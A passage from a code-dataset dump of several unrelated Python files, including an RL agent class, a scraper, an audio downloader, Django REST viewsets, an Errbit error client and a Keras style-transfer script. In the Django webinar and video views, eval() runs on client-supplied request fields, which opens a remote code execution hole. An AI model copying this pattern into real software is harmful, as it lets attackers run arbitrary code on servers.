infrastructure.off_policy_buffer import OffPolicyReplayBuffer\nfrom infrastructure.on_policy_buffer import OnPolicyReplayBuffer\nfrom infrastructure.config import Config\nfrom infrastructure.utils import sow_field\nfrom envs.atari_wrappers import wrap_deepmind\nfrom envs.montezuma_wrapper import MontezumaWrapper\nimport gym\nimport numpy as np\nfrom infrastructure.scheduler import *\nfrom cv2 import VideoWriter, VideoWriter_fourcc\n\n\nimport pdb\n\nclass BaseAgent:\n\n def __init__(self, config, logger, device):\n\n self.logger = logger\n self.device = device\n self.config = config\n self.plot_experiment = config.params.get(\"plot_value\", False) is not False\n self.experiment_filepath = \"./experiments/\" + self.config.params[\"name\"] + \"/\" + \"seed\" + \"_\" + str(self.config.params[\"seed\"])\n self.env_is_gym = config.params[\"env_is_gym\"]\n self.wrap_env = config.params[\"wrap_env\"]\n if self.env_is_gym:\n self.env = gym.make(config.params[\"env_name\"])\n self.cartpole = True if config.params[\"env_name\"] == \"CartPole-v0\" else False\n if self.wrap_env:\n self.env = wrap_deepmind(self.env)\n if 'MontezumaRevenge' in config.params[\"env_name\"]:\n self.env = MontezumaWrapper(self.env)\n else:\n raise ValueError(\"Non-gym environments not supported yet\")\n self.seed = config.params.get(\"seed\", None)\n if self.seed != None:\n sow_field(self.seed, self.env)\n self.lr = eval(config.params[\"lr\"])\n self.hierarchical = config.params.get(\"hierarchical\", 0) == 1\n self.on_policy = config.params[\"model\"] != \"DQN\"\n if self.on_policy:\n self.actor_architecture_config = Config(config.params[\"actor_architecture_config\"])\n self.critic_architecture_config = Config(config.params[\"critic_architecture_config\"])\n self.num_iterations = config.params.get(\"num_iterations\", 200)\n self.batch_size = config.params.get(\"batch_size\", 1000)\n self.total_timesteps = 0\n self.max_path_length = config.params.get(\"episode_length\", 200)\n self.num_critic_updates_per_agent_update = config.params.get(\"num_critic_updates_per_agent_update\", 1)\n self.num_actor_updates_per_agent_update = config.params.get(\"num_actor_updates_per_agent_update\", 1)\n self.num_grad_steps_per_target_update = config.params.get(\"num_grad_steps_per_target_update\", 10)\n self.num_target_updates = config.params.get(\"num_target_updates\", 10)\n self.replay_size = config.params.get(\"replay_size\", 1000000)\n self.replay_buffer = OnPolicyReplayBuffer(self.replay_size)\n self.obs_dtype = np.float32 if self.cartpole else np.uint8\n self.report_freq = config.params.get(\"report_freq\", self.num_iterations / 100)\n self.train = self.train_on_policy\n\n else:\n self.network_architecture_config = Config(config.params[\"network_architecture_config\"])\n self.num_timesteps = config.params[\"num_timesteps\"]\n self.max_episode_length = config.params.get(\"max_episode_length\", 200) #this is redundant with max_path_length in on_policy\n self.batch_size = config.params.get(\"batch_size\", 32)\n self.epsilon = eval(config.params[\"epsilon\"])\n self.learning_starts = config.params.get(\"learning_starts\", 50000)\n self.learning_freq = config.params.get(\"learning_freq\", 4)\n self.target_update_freq = config.params.get(\"target_update_freq\", 10000)\n self.replay_size = config.params.get(\"replay_size\", 1000000)\n self.frame_history_len = config.params.get(\"frame_history_len\", 4)\n self.replay_buffer = OffPolicyReplayBuffer(self.replay_size, self.frame_history_len, self.cartpole, self.hierarchical)\n self.num_param_updates = 0\n self.report_freq = config.params.get(\"report_freq\", self.num_timesteps / 100)\n self.train = self.train_off_policy\n self.train = self.montezuma_train_off_policy2 #change back later\n self.record_freq = config.params.get(\"record_freq\", 0) #for simplicity, I'm going to put this frequency in terms of episodes\n self.recording = False\n self.momentum = config.params.get(\"momentum\", 0)\n self.alpha = config.params.get(\"alpha\", 0.99)\n self.gamma = config.params.get(\"gamma\", 0.99)\n self.t = 0\n self.save_weights = config.params.get(\"save_weights\", False)\n self.debugging = config.params.get(\"debugging_fuck_this\", False)\n\n def train_off_policy(self):\n print(\"training\")\n self.last_obs = self.env.reset()\n while self.t < self.num_timesteps:\n self.done = False\n self.episode_reward = 0\n while not self.done:\n self.step()\n self.update()\n if self.t % self.report_freq == 0:\n self.logger.report(self.t, self.epsilon.value(self.t))\n self.logger.add_reward(self.episode_reward)\n if self.plot_experiment:\n self.logger.graph()\n self.logger.save_experiment()\n\n def train_on_policy(self):\n print(\"training\")\n while self.t <= self.num_iterations:\n self.collect_trajectories()\n #I could put a for loop right here, I have iffy opinions about it\n self.update()\n if self.t % self.report_freq == 0:\n self.logger.report(self.t, self.epsilon.value(self.t))\n self.t += 1\n if self.plot_experiment:\n self.logger.graph()\n self.logger.save_experiment()\n\n def montezuma_train_off_policy(self): #for now I'm not using the deepmind wrapper\n \"\"\"A training policy that is meant to test whether or not the controller works. It seems like it does,\n so this is now DEPRECATED.\n \"\"\"\n print(\"training\")\n\n self.last_obs = self.env.reset()\n self.env.current_goal = (111, 121)\n print(\"goal: \", self.env.current_goal)\n while self.t < self.num_timesteps:\n self.done, self.at_goal = False, False\n self.episode_reward = 0\n self.intrinsic_reward = 0\n self.episode_length = 0\n self.goals_reached = []\n while not self.done and not self.at_goal and self.episode_length <= self.max_episode_length:\n self.step()\n self.update()\n self.episode_length += 1\n if self.t % self.report_freq == 0:\n self.logger.report(self.t, self.epsilon.value(self.t))\n if self.done or self.at_goal or self.episode_length >= self.max_episode_length:\n self.last_obs = self.env.reset()\n self.logger.add_reward(self.intrinsic_reward, self.goals_reached)\n if self.plot_experiment:\n self.logger.graph()\n self.logger.save_experiment()\n\n def montezuma_train_off_policy2(self):\n\n print(\"training\")\n # self.goals = [(111, 121), (134.45714285714286, 123.57142857142857), (135, 155)] #(131.25833333, 168.26666667)\n #self.goals = [(75.47058824, 123.23529412), (88.52941176, 123.23529412), (65, 126.53846154)]\n self.goals = [(78, 127)]\n self.last_obs = self.env.reset()\n self.current_goal_index = 0\n self.env.current_goal = self.goals[self.current_goal_index]\n self.done, self.at_goal = False, False\n self.episode_reward, self.intrinsic_reward = 0, 0\n self.episode_length, self.goals_reached = 0, []\n self.num_episodes = 0\n print(\"goal: \", self.env.current_goal)\n while self.t < self.num_timesteps:\n while not self.done and not self.at_goal and self.episode_length <= self.max_episode_length:\n self.step()\n self.update()\n self.episode_length += 1\n if self.t % self.report_freq == 0:\n failure_rates = [1 - (len([i for i in self.logger.goals_reached[-100:] if g in i]) / 100) for g in self.goals]\n # self.logger.report(self.t, [round(self.epsilon.value(self.goals[i], failure_rates[i]), 3) for i in range(len(self.goals))])\n self.logger.report(self.t, self.epsilon.value(self.t))\n if not self.done and self.episode_length <= self.max_episode_length and self.current_goal_index < len(self.goals) - 1:\n self.current_goal_index += 1\n self.env.current_goal = self.goals[self.current_goal_index]\n self.at_goal = False\n else:\n if self.recording:\n self.recording = False\n self.video.release()\n self.logger.add_reward(len(self.goals_reached), self.episode_length, self.goals_reached)\n self.num_episodes += 1\n if self.num_episodes % self.record_freq == 0:\n video_filepath = self.experiment_filepath + '/episode_' + str(self.num_episodes) + \"_recording\" + \".mp4\"\n self.video = VideoWriter(video_filepath, 0x7634706d, 15.0, (160, 210), isColor = True)\n self.recording = True\n self.last_obs = self.env.reset()\n self.done, self.at_goal = False, False\n self.episode_reward, self.intrinsic_reward = 0, 0\n self.episode_length, self.goals_reached = 0, []\n self.current_goal_index = 0\n self.env.current_goal = self.goals[self.current_goal_index]\n if self.plot_experiment:\n self.logger.graph()\n self.logger.save_experiment()\n # if self.save_weights:\n # torch.save(self.current_network.state_dict(), self.experiment_filepath + \"/current_network_weights\")\n # torch.save(self.target_network.state_dict(), self.experiment_filepath + \"/target_network_weights\")\n","repo_name":"rmoughan/Thesis","sub_path":"agents/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":10021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6861227959","text":"def extract(prod_soup):\n other_ads = []\n ads = prod_soup.find(\"div\", class_=\"shop-contact-i shop-contact--all-ads\")\n if ads != None:\n link = ads.find(\"a\")\n if link != None:\n other_ads.append(link[\"href\"])\n else:\n other_ads.append(\"Null\")\n\n return other_ads\n","repo_name":"pashayevfarid/Web-Scraping","sub_path":"web_scraping/other_ads_extractor.py","file_name":"other_ads_extractor.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33266582592","text":"import requests,os\nfrom settings import MONGO_DB\nfrom settings import IMAGE_PATH\nfrom settings import MUSIC_PATH\nfrom uuid import uuid4\n\ncontent_url = \"/ertong/424529/7713546\"\ncontent_type = \"erge\"\ncontent_id = content_url.rsplit(\"/\", 1)[-1]\nres = requests.get(\"http://m.ximalaya.com/tracks/%s.json\" % (content_id))\ncontent_info = res.json()\n\ncontent_name = str(uuid4())\ncontent_img_path = os.path.join(IMAGE_PATH,content_name)\ncontent_music_path = os.path.join(MUSIC_PATH,content_name)\n\naudio = requests.get(content_info.get(\"play_path\"))\nwith open(f\"{content_music_path}.mp3\", \"wb\") as f:\n f.write(audio.content)\n\nimg = requests.get(content_info.get(\"cover_url\"))\nwith open(f\"{content_img_path}.jpg\", \"wb\") as f:\n f.write(img.content)\n\ntitle = content_info.get(\"title\")\nnickname = content_info.get(\"nickname\")\nalbum_title = content_info.get(\"album_title\")\nintro = content_info.get(\"intro\")\nplay_count = 0\n\ncontent = {\n \"title\": title,\n \"content_type\": content_type,\n \"nickname\": nickname,\n \"album_title\": album_title,\n \"intro\": intro,\n \"play_count\": play_count,\n \"audio\": f\"{content_name}.mp3\",\n \"cover\": f\"{content_name}.jpg\"\n}\n\nMONGO_DB.content.insert_one(content)\n","repo_name":"lllmy/kingdemo","sub_path":"KingEight/xiaopapa.py","file_name":"xiaopapa.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"69881524267","text":"# determine Iran phone_numbers in text or anywhere : 09xxxxxxxxx\r\n\r\ndef is_phone_number(text):\r\n if len(text) != 11:\r\n return False # not PhoneNumber-sized\r\n for index in range(0, 11):\r\n if not text[index].isdecimal():\r\n return False # make sure about having numbers\r\n for index in range(0, 2):\r\n if not text[0] == '0':\r\n return False\r\n elif not text[1] == '9':\r\n return False # we must have numbers with '09' at the start\r\n return True\r\n\r\n\r\n# print(is_phone_number('09111111111')) # just for find out that our program work's fine!\r\n\r\nmessage = input(\"Give me the text & I'll give you the numbers:\\n\")\r\nfound_number = False\r\nfor i in range(len(message)):\r\n digit = message[i: i+11] # slicing the number from our text\r\n if is_phone_number(digit):\r\n print(\"Found number: \", digit)\r\n found_number = True\r\nif not found_number:\r\n print(\"sorry, i didn't find any numbers\")\r\n","repo_name":"hosseinzamaninasab/Found_IranPhoneNumbers","sub_path":"found_IranPhoneNumbers.py","file_name":"found_IranPhoneNumbers.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"16025266937","text":"import django_filters\nfrom django.db import transaction\nfrom django.db.utils import IntegrityError\nfrom django.db.models import F\nfrom django.http import HttpResponse,JsonResponse\nfrom django.conf import settings\nfrom rest_framework.generics import get_object_or_404\nfrom rest_framework import status\nfrom rest_framework.decorators import action\nfrom rest_framework.response import Response\nfrom rest_framework import permissions, viewsets\nfrom rest_framework_extensions.mixins import NestedViewSetMixin\nfrom webapp.models import Subject, User, Course, Tags, Webinar, Video\nfrom webapp.serializers import SubjectSerializer, CourseSerializer, TagsSerializer, WebinarSerializer, \\\n VideoSerializer, PersonalizedSuggestionSerializer\nfrom webapp.permissions import IsStudent, IsInstructor, ListAndRetrieve\n\nimport os\n# Create your views here.\n\n\ndef home(request):\n u = User.objects.get(pk = request.user.pk)\n person = \"Student\" if u.is_student else \"Instructor\"\n return HttpResponse(\"Welcome \" + u.username + \" as \" + person)\n\n\nclass SubjectViewSet(NestedViewSetMixin, viewsets.ModelViewSet):\n\n queryset = Subject.objects.all()\n serializer_class = SubjectSerializer\n permission_classes = [permissions.IsAuthenticated, IsInstructor]\n\n def create(self, request, **kwargs):\n request.data['owner'] = request.user.pk\n return super().create(request)\n\n\nclass CourseViewSet(NestedViewSetMixin, viewsets.ModelViewSet):\n\n queryset = Course.objects.all()\n serializer_class = CourseSerializer\n permission_classes = [permissions.IsAuthenticated, IsInstructor]\n\n @transaction.atomic\n def create(self, request, **kwargs):\n subject_id = self.get_parents_query_dict().get(\"subject_id\")\n subject = get_object_or_404(Subject, pk=subject_id)\n\n course = Course.objects.create(subject=subject, **request.data)\n return Response(CourseSerializer(course).data, status=status.HTTP_201_CREATED)\n\n @action(detail=False, methods=[\"GET\"], name=\"most viewed\")\n def mostviewed(self, request, *args, **kwargs):\n return Response(CourseSerializer(self.get_queryset(), many=True).data, status=status.HTTP_200_OK)\n\n def retrieve(self, request, *args, **kwargs):\n current_course = self.get_object()\n current_course.viewed = F('viewed') + 1\n current_course.save()\n print(\"here\")\n\n return super().retrieve(request, *args, **kwargs)\n\n def get_queryset(self):\n subject_id = self.get_parents_query_dict().get(\"subject_id\")\n if self.action == \"mostviewed\":\n return Course.objects.filter(subject_id=subject_id).order_by(\"-viewed\")\n if self.action == \"list\":\n return Course.objects.filter(subject_id=subject_id)\n return Course.objects.all()\n\nclass TagViewSet(NestedViewSetMixin, viewsets.ModelViewSet):\n\n queryset = Tags.objects.all()\n serializer_class = TagsSerializer\n permission_classes = [permissions.IsAuthenticated, IsInstructor]\n\n def create(self, request, **kwargs):\n request.data['owner'] = request.user.pk\n return super().create(request)\n\n\nclass WebinarViewSet(NestedViewSetMixin, viewsets.ModelViewSet):\n\n queryset = Webinar.objects.all()\n serializer_class = WebinarSerializer\n permission_classes = [permissions.IsAuthenticated, ListAndRetrieve]\n filter_backends = [django_filters.rest_framework.DjangoFilterBackend]\n filterset_fields = ['title', 'tags__name', 'subject__name', 'course__name']\n\n @transaction.atomic\n def create(self, request, *args, **kwargs):\n\n request_subjects = eval(self.request.data[\"subjects\"])\n subjects = Subject.objects.filter(id__in=request_subjects)\n\n request_courses = eval(self.request.data[\"courses\"])\n courses = Course.objects.filter(id__in=request_courses)\n\n request_tags = eval(self.request.data['tags'])\n del self.request.data['tags']\n\n webinar = Webinar.objects.create(title=self.request.data['title'],\n webinar=self.request.FILES['webinar'])\n\n request_new_tags = eval(self.request.data['new_tags'])\n\n new_tags = [Tags(name=n, owner_id=request.user.pk) for n in request_new_tags]\n\n for new_tag in new_tags:\n try:\n new_tag.save()\n except IntegrityError as e:\n return Response(f\"Tag with name '{new_tag.name}' already exists\", status=status.HTTP_400_BAD_REQUEST)\n request_tags.append(new_tag.id)\n\n tags = Tags.objects.filter(id__in=request_tags)\n webinar.tags.set(tags)\n webinar.subject.set(subjects)\n webinar.course.set(courses)\n\n return Response(WebinarSerializer(webinar).data, status=status.HTTP_201_CREATED)\n\n @transaction.atomic\n def destroy(self, request, *args, **kwargs):\n\n obj = self.get_object()\n os.remove(os.path.join(settings.MEDIA_ROOT, str(obj.webinar)))\n\n return super().destroy(request, *args, **kwargs)\n\n def retrieve(self, request, *args, **kwargs):\n\n current_webinar = self.get_object()\n current_webinar.viewed = F('viewed') + 1\n current_webinar.save()\n webinars = Webinar.objects.filter(tags__name__in=current_webinar.tags.values('name')).order_by(\"-viewed\")[:5]\n\n videos = Video.objects.filter(tags__name__in=current_webinar.tags.values('name')).order_by(\"-viewed\")[:5]\n suggestions = {'current_webinar': WebinarSerializer(current_webinar).data,\n 'webinars': WebinarSerializer(webinars, many=True).data,\n 'videos': VideoSerializer(videos, many=True).data}\n\n return JsonResponse(suggestions, status=status.HTTP_200_OK)\n\n @action(detail=False, methods=[\"GET\"], name=\"most viewed\")\n def mostviewed(self, request, *args, **kwargs):\n return Response(WebinarSerializer(self.get_queryset(), many=True).data, status=status.HTTP_200_OK)\n # return Response(\"hello\", status=status.HTTP_200_OK)\n\n def get_queryset(self):\n if self.action == \"mostviewed\":\n return Webinar.objects.all().order_by('viewed').reverse()\n\n return Webinar.objects.all()\n\n\nclass VideoViewSet(NestedViewSetMixin, viewsets.ModelViewSet):\n\n queryset = Video.objects.all()\n serializer_class = VideoSerializer\n permission_classes = [permissions.IsAuthenticated, ListAndRetrieve]\n\n filter_backends = [django_filters.rest_framework.DjangoFilterBackend]\n filterset_fields = ['title', 'tags__name', 'subject__name', 'course__name']\n\n @transaction.atomic\n def create(self, request, *args, **kwargs):\n\n request_subjects = eval(self.request.data[\"subjects\"])\n subjects = Subject.objects.filter(id__in=request_subjects)\n\n request_courses = eval(self.request.data[\"courses\"])\n courses = Course.objects.filter(id__in=request_courses)\n\n request_tags = eval(self.request.data['tags'])\n del self.request.data['tags']\n\n video = Video.objects.create(title=self.request.data['title'],\n video=self.request.FILES['video'])\n\n request_new_tags = eval(self.request.data['new_tags'])\n\n new_tags = [Tags(name=n, owner_id=request.user.pk) for n in request_new_tags]\n\n # We can create tags in bulk but in django bulk_create has error. it does not\n # return id once it creates. However bulk_create works with postgresql.\n\n for new_tag in new_tags:\n try:\n new_tag.save()\n except IntegrityError as e:\n return Response(f\"Tag with name '{new_tag.name}' already exists\", status=status.HTTP_400_BAD_REQUEST)\n request_tags.append(new_tag.id)\n\n tags = Tags.objects.filter(id__in=request_tags)\n video.tags.set(tags)\n video.subject.set(subjects)\n video.course.set(courses)\n\n return Response(VideoSerializer(video).data, status=status.HTTP_201_CREATED)\n\n","repo_name":"mandy13/proximity_tech","sub_path":"webapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34994522928","text":"# pylint: disable-all\nimport logging\nimport socket\nimport sys\nimport threading\nimport traceback\nfrom xml.sax.saxutils import escape\n\nfrom django.conf import settings\nfrom pydash import get\n\nfrom core.common.utils import get_request_url\n\napp_name = 'OCLAPI2'\nversion = settings.VERSION\n\n\nERRBIT_XML = (\n ''\n ''\n '{api_key}'\n ''\n 'OCL API2'\n '{version}'\n ''\n 'Djangov2'\n ''\n '{class_name}'\n ''\n '{trace}'\n ''\n ''\n '{component}'\n '{url}'\n ''\n ''\n 'verify'\n 'application'\n ''\n ''\n ''\n '/code'\n '{environment}'\n ''\n ''\n '{user}'\n ''\n ''\n)\n\nERRBIT_TRACE = ''\n\n\ndef log_error(method):\n def wrap_error(*args, **kwargs):\n try:\n if len(kwargs):\n method(**kwargs)\n else:\n method(*args)\n except Exception as e:\n logger = logging.getLogger(__name__)\n logger.setLevel(logging.ERROR)\n logger.exception(e)\n\n wrap_error.__name__ = method.__name__\n return wrap_error\n\n\nclass ThreadedRequest(threading.Thread):\n def __init__(self, url, message, headers):\n super(ThreadedRequest, self).__init__()\n self.url = url\n self.message = message\n self.headers = headers\n\n @log_error\n def run(self):\n from urllib.request import urlopen\n import urllib.error\n try:\n response = urlopen(self.url, self.message, 20)\n status = response.getcode()\n except urllib.error.HTTPError as e:\n status = e.code\n except urllib.error.URLError:\n return\n\n if status == 200:\n return\n\n exception_message = \"Unexpected status code {0}\".format(str(status))\n if status == 403:\n exception_message = \"Unable to send using SSL\"\n elif status == 422:\n exception_message = \"Invalid XML sent\"\n elif status == 500:\n exception_message = \"Destination server is unavailable. Please check the remote server status.\"\n elif status == 503:\n exception_message = \"Service unavailable. You may be over your quota.\"\n\n print(\"MESSAGE: \", self.message)\n print(\"ERRBIT_EXCEPTION: \", exception_message)\n\n\nclass ErrbitClient:\n def __init__(self, service_url, api_key, component, node, environment):\n self.service_url = service_url\n self.api_key = api_key\n self.component_name = component\n self.node_name = node\n self.environment = environment\n\n def raise_errbit(self, message):\n try:\n raise Exception(message)\n except Exception as ex: # pylint: disable=broad-except\n self.log(ex)\n\n @log_error\n def log(self, exception):\n message = self.generate_xml(exception, sys.exc_info()[2])\n self.send_message(message.encode('utf-8'))\n\n def send_request(self, headers, message):\n t = ThreadedRequest(self.service_url, message, headers)\n t.start()\n\n def send_message(self, message):\n headers = {\"Content-Type\": \"text/xml\"}\n self.send_request(headers, message)\n\n def generate_xml(self, exc, trace):\n return self.xml_raw(exc, exc.args, trace)\n\n @staticmethod\n def _trace(trace):\n _trace_str = ''\n for filename, line_number, function_name, text in traceback.extract_tb(trace):\n function_name = function_name.replace('<', '').replace('>', '').replace('\"', \"'\")\n text = text.replace('<', '').replace('>', '').replace('\"', \"'\")\n _trace_str += ERRBIT_TRACE.format(\n line_number=str(line_number), filename=filename, function_name=function_name, text=text\n )\n return _trace_str\n\n def xml_raw(self, etype, value, trace, limit=None, file=None):\n from .utils import get_current_user\n _trace_str = ''\n cause = None\n if value and get(value, '__cause__'):\n cause = value.__cause__\n _trace_str += self._trace(cause.__traceback__)\n _trace_str += ''\n _trace_str += self._trace(trace)\n message_value = str(value)\n if cause:\n message_value += ' from ' + str(cause)\n return ERRBIT_XML.format(\n api_key=self.api_key, version=settings.VERSION, class_name=etype.__class__.__name__, value=message_value,\n trace=_trace_str, component=self.component_name, environment=self.environment, user=str(get_current_user()),\n url=escape(str(get_request_url()))\n )\n\n\nERRBIT_LOGGER = ErrbitClient(\n settings.ERRBIT_URL + '/notifier_api/v2/notices',\n settings.ERRBIT_KEY,\n component=\"root\",\n node=socket.gethostname(),\n environment=settings.ENV\n)\n\noriginal_print_exception = traceback.print_exception\n\n\ndef print_exception_with_errbit_logging(etype, value, tb, limit=None, file=None):\n if not (etype == KeyError and str(value) == \"'cid'\"):\n message = ERRBIT_LOGGER.xml_raw(etype, value, tb)\n ERRBIT_LOGGER.send_message(message.encode('utf-8'))\n original_print_exception(etype, value, tb, limit=None, file=None)\n\n\ntraceback.print_exception = print_exception_with_errbit_logging\n","repo_name":"OpenConceptLab/oclapi2","sub_path":"core/common/errbit.py","file_name":"errbit.py","file_ext":"py","file_size_in_byte":5893,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"} +{"seq_id":"18074804834","text":"\"\"\"utils function for AntigenBot\"\"\"\nfrom __future__ import annotations\n\n\ndef remove_at_info(text: str) -> str:\n \"\"\"get the clear message, remove the command prefix and at\"\"\"\n split_chars = ['\\u2005', '\\u0020']\n while text.startswith('@'):\n text = text.strip()\n for char in split_chars:\n tokens = text.split(char)\n if len(tokens) > 1:\n tokens = [token for token in text.split(char) if not token.startswith('@')]\n text = char.join(tokens)\n else:\n text = ''.join(tokens)\n return text\n","repo_name":"ShanghaiITVolunteer/AntigenWechatBot","sub_path":"antigen_bot/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"37"} +{"seq_id":"25576410529","text":"from __future__ import print_function\nfrom keras.preprocessing.image import load_img, save_img, img_to_array\nimport numpy as np\nfrom scipy.optimize import fmin_l_bfgs_b\nimport time\nimport argparse\nimport cv2 as cv\nfrom keras.layers import AveragePooling2D\nfrom keras.applications import vgg19\nfrom keras import backend as K\nfrom IPython import embed\nimport os\n############## Initializing ####################\n\nbase_image_path = \"input/painting/balloon1/input.jpg\"\nstyle_reference_image_path = \"input/painting/balloon1/background.jpg\"\nmask_image_path = \"input/painting/balloon1/bw_mask.jpg\"\nsave_path = \"input/painting/balloon1/result.jpg\"\niterations = 30\n\ntotal_variation_weight = 1\nstyle_weight = 1\ncontent_weight = 0.05\n\n# dimensions of the generated picture.\nheight, width = load_img(base_image_path).size\n# img_nrows = width // 5\n# img_ncols = height // 5\nimg_nrows = 150\nimg_ncols = int(height / (width / img_nrows))\n# You can divide more if OOM\n\ndef preprocess_image(image_path, ifMask = False):\n img = load_img(image_path, target_size=(img_nrows, img_ncols))\n img = img_to_array(img)\n if ifMask:\n # masked part should be black \n img[np.where(img != 255)] = 1\n img[np.where(img == 255)] = 0\n img = np.expand_dims(img, axis=0)\n else:\n img = np.expand_dims(img, axis=0)\n img = vgg19.preprocess_input(img)\n return img\n\ndef deprocess_image(x):\n if K.image_data_format() == 'channels_first':\n x = x.reshape((3, img_nrows, img_ncols))\n x = x.transpose((1, 2, 0))\n else:\n x = x.reshape((img_nrows, img_ncols, 3))\n # Remove zero-center by mean pixel\n x[:, :, 0] += 103.939\n x[:, :, 1] += 116.779\n x[:, :, 2] += 123.68\n # 'BGR'->'RGB'\n x = x[:, :, ::-1]\n x = np.clip(x, 0, 255).astype('uint8')\n return x\n\nbase_image = K.variable(preprocess_image(base_image_path))\nmask_image = K.variable(preprocess_image(mask_image_path, ifMask=True))\nstyle_reference_image = K.variable(preprocess_image(style_reference_image_path))\ncombination_image = K.variable(preprocess_image(base_image_path))\n\ninput_tensor = K.concatenate([base_image, style_reference_image, combination_image], axis=0)\n\n# embed()\nmodel = vgg19.VGG19(input_tensor=input_tensor,\n weights='imagenet', include_top=False)\n\nprint('Model loaded.')\n\n# Get features from all layers\noutputs_dict = dict([(layer.name, layer.output) for layer in model.layers])\nprint(outputs_dict)\n# we use the pre-trained parameters on imagenet, so freeze training\nfor layer in model.layers:\n\tlayer.trainable = False\n\ndef gram_matrix(x):\n assert K.ndim(x) == 3\n if K.image_data_format() == 'channels_first':\n features = K.batch_flatten(x)\n else:\n features = K.batch_flatten(K.permute_dimensions(x, (2, 0, 1)))\n gram = K.dot(features, K.transpose(features))\n return gram\n\n\n# resize the mask into the right size for each conv\ndef halve_mask(mask):\n h, w, ch = mask.shape\n return cv.resize(mask, (w // 2, h // 2))\n\ndef convol(mask, times):\n x = K.variable(mask)\n if K.ndim(x) == 3:\n x = K.expand_dims(x, axis=0)\n # embed()\n for i in range(times):\n x = AveragePooling2D(pool_size=(3, 3), strides=(1, 1), padding='same')(x)\n # return K.eval(K.squeeze(x, axis=0))\n return K.eval(K.squeeze(x, axis=0))\n\ndef get_mask_ftrs(mask):\n ftrs = []\n mask = halve_mask(convol(mask,2))\n mask = halve_mask(convol(mask,2))\n mask = convol(mask,1)\n ftrs.append(K.variable(mask[:, :, 0][:, :, np.newaxis]))\n mask = halve_mask(convol(mask,3))\n mask = convol(mask,1)\n ftrs.append(K.variable(mask[:, :, 0][:, :, np.newaxis]))\n # mask = halve_mask(convol(mask,3))\n # mask = convol(mask,1)\n # ftrs.append(K.variable(mask[:, :, 0][:, :, np.newaxis]))\n return ftrs\n\nmask_features = get_mask_ftrs(mask_image)\n# embed()\n\n# style loss\n# style_feature_layers = ['block3_conv1','block4_conv1', 'block5_conv1']\nstyle_feature_layers = ['block3_conv1','block4_conv1']\n# content loss\ncontent_feature_layer = 'block4_conv1'\n# extract features from layers:\n\ninput_features = [outputs_dict[layer_name][0, :, :, :] for layer_name in style_feature_layers]\nstyle_features = [outputs_dict[layer_name][1, :, :, :] for layer_name in style_feature_layers]\n\n\ndef get_patches(x, ks=3, stride=1, padding=1):\n # embed()\n ch, n1, n2 = x.shape\n y = np.zeros((ch, n1 +2 * padding, n2 + 2 * padding))\n y[:, padding:n1 + padding, padding:n2 + padding] = x\n start_idx = np.array([j + (n2 + 2 * padding) * i for i in range(0,n1 - ks + 1 + 2 * padding,stride) for j in range(0, n2 - ks + 1 + 2 * padding,stride) ])\n grid = np.array([j + (n2 + 2 * padding) * i + (n1 + 2 * padding) * (n2 + 2 * padding) * k for k in range(0, ch) for i in range(ks) for j in range(ks)])\n mask = start_idx[:,None] + grid[None,:]\n return np.take(y, mask)\n\n\ndef match_ftrs(inp_ftrs,sty_ftrs):\n res = []\n for l_inp,s_inp in zip(inp_ftrs,sty_ftrs):\n # embed()\n l_inp = get_patches(K.eval(l_inp))\n s_inp = get_patches(K.eval(s_inp))\n scals = np.dot(l_inp, s_inp.T)\n norms_in = np.sqrt((l_inp ** 2).sum(1))\n norms_st = np.sqrt((s_inp ** 2).sum(1))\n # embed()\n cosine_sim = scals / (1e-15 + norms_in[:, np.newaxis] * norms_st[np.newaxis, :])\n ind_max = np.argmax(cosine_sim, axis=0)\n res.append(ind_max)\n return res\n\nmap_features = match_ftrs(input_features, style_features)\n# embed()\ndef map_style(style_features, map_features):\n res = []\n for sf, mapf in zip(style_features, map_features):\n sf = K.eval(sf)\n ori_shape = sf.shape\n sf = sf.reshape(list(sf.shape)[0],-1)\n sf = sf[:,mapf]\n sf = sf.reshape(ori_shape)\n res.append(K.variable(sf))\n return res\n\nsty_ftrs = map_style(style_features, map_features)\n\n# the \"style loss\" is designed to maintain\n# the style of the reference image in the generated image.\n# It is based on the gram matrices (which capture style) of\n# feature maps from the style reference image\n# and from the generated image\n\n\n\ndef style_loss(style, combination, mask_feature):\n assert K.ndim(style) == 3\n assert K.ndim(combination) == 3\n S = gram_matrix(style * mask_feature)\n C = gram_matrix(combination * mask_feature)\n channels = 3\n size = img_nrows * img_ncols\n return K.sum(K.square(S - C)) / (4.0 * (channels ** 2) * (size ** 2))\n\n# an auxiliary loss function\n# designed to maintain the \"content\" of the\n# base image in the generated image\n\n\ndef content_loss(base, combination, mask_features):\n return K.sum(K.square(combination * mask_features - base * mask_features))\n\n# the 3rd loss function, total variation loss,\n# designed to keep the generated image locally coherent\n# this loss function should not be used in the first pass\n\ndef total_variation_loss(x):\n assert K.ndim(x) == 4\n if K.image_data_format() == 'channels_first':\n a = K.square(\n x[:, :, :img_nrows - 1, :img_ncols - 1] - x[:, :, 1:, :img_ncols - 1])\n b = K.square(\n x[:, :, :img_nrows - 1, :img_ncols - 1] - x[:, :, :img_nrows - 1, 1:])\n else:\n a = K.square(\n x[:, :img_nrows - 1, :img_ncols - 1, :] - x[:, 1:, :img_ncols - 1, :])\n b = K.square(\n x[:, :img_nrows - 1, :img_ncols - 1, :] - x[:, :img_nrows - 1, 1:, :])\n return K.sum(K.pow(a + b, 1.25))\n\n\n######################## Optimization Part ########################\n\nloss = K.variable(0.0)\ncontent_layer_feature = outputs_dict[content_feature_layer]\nbase_image_feature = content_layer_feature[0, :, :, :]\ncombination_feature = content_layer_feature[2, :, :, :]\nloss += content_weight * content_loss(base_image_feature,\n combination_feature,\n 